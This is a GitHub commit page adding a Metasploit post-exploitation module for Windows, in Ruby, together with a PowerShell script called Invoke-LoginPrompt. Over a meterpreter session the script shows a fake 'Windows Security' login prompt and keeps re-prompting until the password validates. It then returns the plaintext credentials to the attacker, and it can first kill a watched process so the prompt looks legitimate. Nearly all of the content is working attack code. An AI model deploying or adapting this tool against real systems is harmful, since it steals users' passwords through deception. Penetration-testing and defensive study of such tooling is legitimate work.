forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add post module to phish windows user credentials
- Loading branch information
Showing
2 changed files
with
145 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
function Invoke-LoginPrompt{ | ||
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","") | ||
$username = "$env:username" | ||
$domain = "$env:userdomain" | ||
$full = "$domain" + "\" + "$username" | ||
$password = $cred.GetNetworkCredential().password | ||
Add-Type -assemblyname System.DirectoryServices.AccountManagement | ||
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) | ||
while($DS.ValidateCredentials("$full","$password") -ne $True){ | ||
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","") | ||
$username = "$env:username" | ||
$domain = "$env:userdomain" | ||
$full = "$domain" + "\" + "$username" | ||
$password = $cred.GetNetworkCredential().password | ||
Add-Type -assemblyname System.DirectoryServices.AccountManagement | ||
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) | ||
$DS.ValidateCredentials("$full", "$password") | out-null | ||
} | ||
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password | ||
$output | ||
R{START_PROCESS} | ||
} |
123 changes: 123 additions & 0 deletions
123
modules/post/windows/gather/phish_windows_credentials.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,123 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Post | ||
include Msf::Post::Windows::Registry | ||
include Msf::Post::Windows::Powershell | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Windows Gather User Credentials (phishing)', | ||
'Description' => %q{ | ||
This module is able to perform a phishing attack on the target by popping up a loginprompt. | ||
When the user fills credentials in the loginprompt, the credentials will be sent to the attacker. | ||
The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Wesley Neelen <security[at]forsec.nl/@wez3forsec>', # Metasploit module | ||
'Matt Nelson (@enigma0x3)' # Author original powershell script | ||
], | ||
'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ], | ||
'Platform' => [ 'win' ], | ||
'Arch' => [ 'x86', 'x64' ], | ||
'SessionTypes' => [ 'meterpreter' ] | ||
)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]), | ||
OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', "{PROCESS_NAME} needs your permissions to start. Please enter user credentials"]), | ||
], self.class) | ||
|
||
register_advanced_options( | ||
[ | ||
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120]) | ||
], self.class) | ||
end | ||
|
||
# Function to run the InvokePrompt powershell script | ||
def execute_invokeprompt_script(description,process,path) | ||
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "Invoke-LoginPrompt.ps1")) | ||
if process.nil? | ||
sdescription = description.gsub("{PROCESS_NAME} needs your permissions to start. ", "") | ||
psh_script = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt" | ||
else | ||
sdescription = description.gsub("{PROCESS_NAME}", process) | ||
psh_script2 = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt" | ||
psh_script = psh_script2.gsub("R{START_PROCESS}", "start-process \"#{path}\"") | ||
end | ||
compressed_script = compress_script(psh_script) | ||
cmd_out, runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT']) | ||
while(d = cmd_out.channel.read) | ||
print_good("#{d}") | ||
end | ||
end | ||
|
||
# Function to monitor process creation | ||
def procmon(process, description) | ||
procs = [] | ||
existingProcs = [] | ||
detected = false | ||
first = true | ||
print_status("Monitoring new processes.") | ||
while detected == false | ||
procs = client.sys.process.processes | ||
procs.each do |p| | ||
if p['name'] == process or process == "*" | ||
if first == true | ||
print_status("#{p['name']} is already running. Waiting on new instances to start") | ||
existingProcs.push(p['pid']) | ||
else | ||
if !existingProcs.include? p['pid'] | ||
print_status("New process detected: #{p['pid']} #{p['name']}") | ||
killproc(p['name'],p['pid'], description,p['path']) | ||
detected = true | ||
end | ||
end | ||
end | ||
end | ||
first = false | ||
end | ||
end | ||
|
||
# Function to kill the process | ||
def killproc(process,pid,description,path) | ||
print_status("Killing the process and starting the popup script. Waiting on the user to fill in his credentials...") | ||
client.sys.process.kill(pid) | ||
execute_invokeprompt_script(description,process,path) | ||
end | ||
|
||
# Main method | ||
def run | ||
process = datastore['PROCESS'] | ||
description = datastore['DESCRIPTION'] | ||
|
||
# Powershell installed check | ||
if have_powershell? | ||
print_good("PowerShell is installed.") | ||
else | ||
fail_with(Failure::Unknown, "PowerShell is not installed") | ||
end | ||
|
||
# Check whether target system is locked | ||
locked = client.railgun.user32.GetForegroundWindow()['return'] | ||
if locked == 0 | ||
fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked") | ||
end | ||
|
||
# Switch to check whether a specific process needs to be monitored, or just show the popup immediatly. | ||
case process | ||
when nil | ||
print_status("Starting the popup script. Waiting on the user to fill in his credentials...") | ||
execute_invokeprompt_script(description, nil, nil) | ||
else | ||
procmon(process, description) | ||
end | ||
end | ||
end |